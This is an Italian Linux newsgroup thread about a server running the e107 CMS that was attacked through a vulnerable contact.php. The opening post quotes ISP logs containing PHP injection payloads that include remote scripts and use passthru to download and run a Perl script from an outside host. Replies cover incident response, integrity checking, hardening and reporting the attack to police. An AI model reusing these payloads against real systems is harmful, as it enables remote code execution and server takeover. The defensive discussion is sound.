Newsgroup: it.comp.os.linux.sys
Titolo: Server assediato

Tisscali su un server che gestisco con linux sme server e cms e107 più
altra roba mi ha segnalato questo attacco.
Poichè non potrò essere in sede prima di lunedì vi è un modo per
resettare il server linux da remoto
grazie
Time    Source IP       Target IP       Target Port     Source Port
URL 
value
2010-06-23 13:38:03     82.85.231.zzz    62.86.117.xxx  80      43687 
/contact.php 
[php]include('
http://kangnung.org/zb/casper/casper.txt');include('http://kangnung.org/zb/casper/casper2.txt');passthru('cd
 
/tmp;lwp-download 
http://kangnung.org/zb/casper/iso.txt
 -O iso.txt;perl 
iso.txt 
telkomnet.id.allnetwork.org
;cd /var/tmp;lwp-download
2010-06-23 13:38:13     82.85.231.158    62.86.117.xxx  80      43839 
/pdfs/Valvular-jacc_2006_47_august.pdf%20%20/contact.php 
[php]include('
http://kangnung.org/zb/casper/casper.txt');include('http://kangnung.org/zb/casper/casper2.txt');passthru('cd
 
/tmp;lwp-download 
http://kangnung.org/zb/casper/iso.txt
 -O iso.txt;perl 
iso.txt 
telkomnet.id.allnetwork.org
;cd /var/tmp;lwp-download

 iso.txt 
telkomnet.id.allnetwork.org
;cd /var/tmp;lwp-download
Premettendo che non conosco l'eventuale exploit in questione, ne' il
resto del contesto, credo di non capire la domanda.
Che vuol dire resettare il server linux da remoto? O hai un accesso in
ssh (o di altro tipo) da remoto o non ce l'hai, ma se ne sei tu
l'amministratore non e` una cosa che puoi chiedere a noi. Sarebbe come
se, senza dire come ti chiami, ci domandassi il tuo nome. Se hai
l'accesso come root, accedi, modifichi, riavvii, insomma fai tutto
quello che ti sembra piu` opportuno, se non ce l'hai non lo puoi fare
a meno di ulteriore exploit che te lo consenta, ma non sarebbe una
bella cosa in nessun senso.
Andrea

 iso.txt 
telkomnet.id.allnetwork.org
;cd /var/tmp;lwp-download
A meno che tu non sia chi dici di essere (dal tuo account non
risultano messaggi da piu` di 7 mesi) e che voglia da noi le
indicazioni su come sfruttare un possibile exploit di un server. Se e`
cosi`, pussa via!


se usi SME server passa nel forum (
http://forums.contribs.org
)
S.

 
L'exploit in questione non mi consente di accedere nemmeno via ssh al
server.
Cmq amministro io il server.
Grazie 
Giuseppe Sportelli


Facebook: Massimo Bacilieri

 Cmq amministro io il server.
Mi dispiace, ma a questo spunto non riesco ad immaginarmi altro modo
che recarsi li` dove c'e` la macchina, scollegarla dalla rete, fare il
backup di eventuali dati non gia` salvati e reinstallarla.


Un momento... ho rilevato lo stesso identico attacco su un server di un 
cliente (ma gestito da me).
Stessa configurazione da te indicata: server linux con cms "e107" (che 
non conosco).
Io però sono riuscito a entrare sia ssh e a bloccare e ripulire il tutto 
(chi è entrato ha commesso errori un po' grossolani e non è arrivato a 
coprire un gran che quello che ha fatto).

Il 25/06/2010 20.39, gsportelli ha scritto:

Ho trovato questo:
http://www.e107works.org/news.php

 Io perň sono riuscito a entrare sia ssh e a bloccare e ripulire il tutto
]zac[
... non sarebbe meglio essere pesantemente pessimisti e azzerare il tutto 
(si capisco, č di un cliente e quello potrebbe protestare un tantino)?

 (si capisco, è di un cliente e quello potrebbe protestare un tantino)?
Giustissima osservazione e infatti lo faremo (caso vuole che fosse un 
server fisico che dobbiamo virtualizzare e la vm è già QUASI pronta per 
ospitare i servizi), ma oggi proprio non posso. Già ho lavorato un po' 
per sistemare il tutto e io oggi in teoria non dovrei lavorare, ma si 
sa, noi sistemisti siamo pronti 24/24 (uhm... dite che l'ho sparata 
tropppo grossa?).
Quindi ho sistemato il file contact.php bacato che ha permesso di 
caricare i file ed eseguirli tramite apache, ho trovato tutti i comandi 
eseguiti nei vari bash_history, ho attivato tutti i controlli del caso 
(es: rkhunter e similari), ho trovato i file modificati e compilati 
(caso vuole che quando sono entrato stessero proprio compilando brutta 
roba), e riattivato tutti i blocchi.
Ovviamente non sarò mai al sicuro al 100% che ora è "sano", ma e 
questione di pochi giorni e per il momento dall'intervento di oggi non 
sono più riusciti a fare nulla.
Il cliente mi sa proprio che non protesterà nulla, era un server a lui 
dedicato e ci ha installato lui una versione bacata di questo CMS 
("e107", che tra l'altro non avevo nemmeno mai sentito  ^_^). Anzi ho 
già provveduto io a mandare una mail con la bacchettata sulle mani del 
tipo "TENETE AGGIORNATO IL CMS!" :-)

 (si capisco, di un cliente e quello potrebbe protestare un tantino)?
Bel programma AIDE.
Se fatto girare regolarmente e inviati risultati, log e db a macchina
remota su cui non si puo` cancellare e modificare nulla.
Forse con questo e dei buoni backup potrebbe essere evitata la
reinstallazione, con il vivissimo consiglio di non ripristinare anche
il buco originario che ha consentito l'exploit :-)

 tipo "TENETE AGGIORNATO IL CMS!" :-)
Solo per mia curiosità, in quello che scrivi sottointendi che è stato bucato 
solo il sito web del cms, che girando con un utente specifico e limitato, 
non ha consentito (probabilmente) la compromissione di altri siti, servizi, 
ecc. (niente accesso ad altri dati), e quindi nemmeno del sistema operativo 
(niente scalata a root).


No no, hanno proprio tentano la scalata a root.
Io ho solo avuto la fortuna di collegarmi mentre lo stavano facendo e 
iniziare a ripulire il tutto quando ero ancora in tempo.
Gli unici servizi sul quella macchina sono mysql e apache (con 4 siti 
del cliente, guarda caso due dei quali bucabili tramite proprio 
l'incriminato file contact.php di e107).
Non avevano accesso a backup, log e mysql con l'utente limitato, ma 
avevano appena creato da pochissimi minuti un altro utente (è proprio 
con il comando useradd che si sono fregati).
Infatti ho dovuto controllare checksum dei comandi di sistema, servizi, 
ecc...
Non sono sono arrivati a fare molto ma era solo questione di tempo.


Si` sarabbe buona azione di valore civile, usare un paio di ore e
sporgere denuncia, dato che siete stati vittime di un reato.
Per non perdere tempo con il carabiniere o agente di polizia postale
di turno che digita su una macchina per scrivere o tastiera di PC con
un dito e ti fa ripetere 10 volte le stesse cose  ti consiglierei di
compilare tu una paginetta con cui sporgi denuncia (presumibilmente
contro ignoti - nel senso che non credo ti abbiano lasciato carta
d'identita` - ma riferendo i tuoi sospetti) esponendo i fatti e
allegando i log che dimostrano le azioni intraprese e mostrano gli IP
(con data e ora) da cui e` venuto l'attacco. Vai in caserma o posto di
polizia (anzi, prima telefoni per sapere dove andare) gli consegni il
foglio firmandolo in loro presenza, facendoti identificare con carta
d'identita` o patente, e dicendo che resti a disposizione per
ulteriori chiarimenti, ma che comunque lavori e devi andare e che li`
in quel foglio e CD c'e` tutto quanto sai e hai da dire sul fatto.
Andrea

 in quel foglio e CD c'e` tutto quanto sai e hai da dire sul fatto.
Per il momento non ho moltissimo, ho solo un indirizzo IP (utilizzato 
per collegarsi quando hanno creato l'utente di prova) e un indirizzo 
email a cui sono stati spediti dei log (per sapere versione di apahce, 
php, kernel, ecc...).
Vedrò di fare denuncia appena ho sistemato in un ordine cronologico 
decente quello che hanno fatto.
Se non ricordo male sarebbe meglio fare la denuncia alla polizia postale.

 Non sono sono arrivati a fare molto ma era solo questione di tempo.
Già.

 roba), e riattivato tutti i blocchi.
ecco.
Ricordarsi che i compilatori sui server di produzione, particolarmente se 
esposti ad internet, non servono ad un cazzo se non ad eventuali haqquerz.


Hai ragione anche te.
Però sai, io uso moltissimo il perl, e quando sei su CPAN... scarichi un 
modulo... e il make install si lamenta che manca gcc...


basta un chown root.root gcc
chmod 700 gcc
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
www.robyt.eu

 roba), e riattivato tutti i blocchi.
  Ma perché lasciare il compilatore eseguibile da chiunque in un server?
Non dovrebbe proprio essere installato!
  Ciao,
-- 
Alessandro Selli, 
http://alessandro.route-add.net
AVVERTENZA: i messaggi inviati a "trappola" non mi arriveranno.
WARNING: messages sent to "trappola" will never reach me.
Chiave PGP/GPG: EC885A8B

 modulo... e il make install si lamenta che manca gcc...
  Si vede che non sono un perlista, ma mi domando perché deve servire il gcc
per installare un modulo Perl.  Il Perl dovrebbe saper fare tutto da se.


 per installare un modulo Perl.  Il Perl dovrebbe saper fare tutto da se.
Esistono anche i moduli "Pure Perl", ma ci sono anche un sacco di moduli 
che usano codice C che viene compilato (per motivi di performance o 
perché di basso livello o ancora perché si interfacciano ad altre 
librerie o programmi di sistema come ad esempio GD, ImageMagick, ecc...).

Icestorm ha scritto:

  Ah, ci sono arrivato.  Mi stavo ancora domandando perché i moduli non
fossero già compilati e pronti per l'installazione, poi mi sono ricordato
che Icestorm ha scritto di CPAN...  :-)
  Comunque, per i server di produzione la trafila da manuale è che si
compila in un compile-server separato e poi si installa il pacchetto sul
server in prima linea.


 poi mi sono ricordato che Icestorm ha scritto di CPAN...  :-)
  ...Icestorm, ossia *tu* LOL!


 
Cosa che puo' fare qualsiasi intruso scaricando un programma linkato
staticamente...



Il manuale prevede anche di montare certe partizioni col noexec e 
disabilitare il disabilitabile, di solito.

chrome://messenger/locale/messengercompose/composeMsgs.properties:

  A me, scaricare un programma linkato staticamente pare una cosa un
tantino diversa dal compilare localmente un sorgente scaricato...
  Ciao,
-- 
Alessandro Selli 
http://alessandro.route-add.net
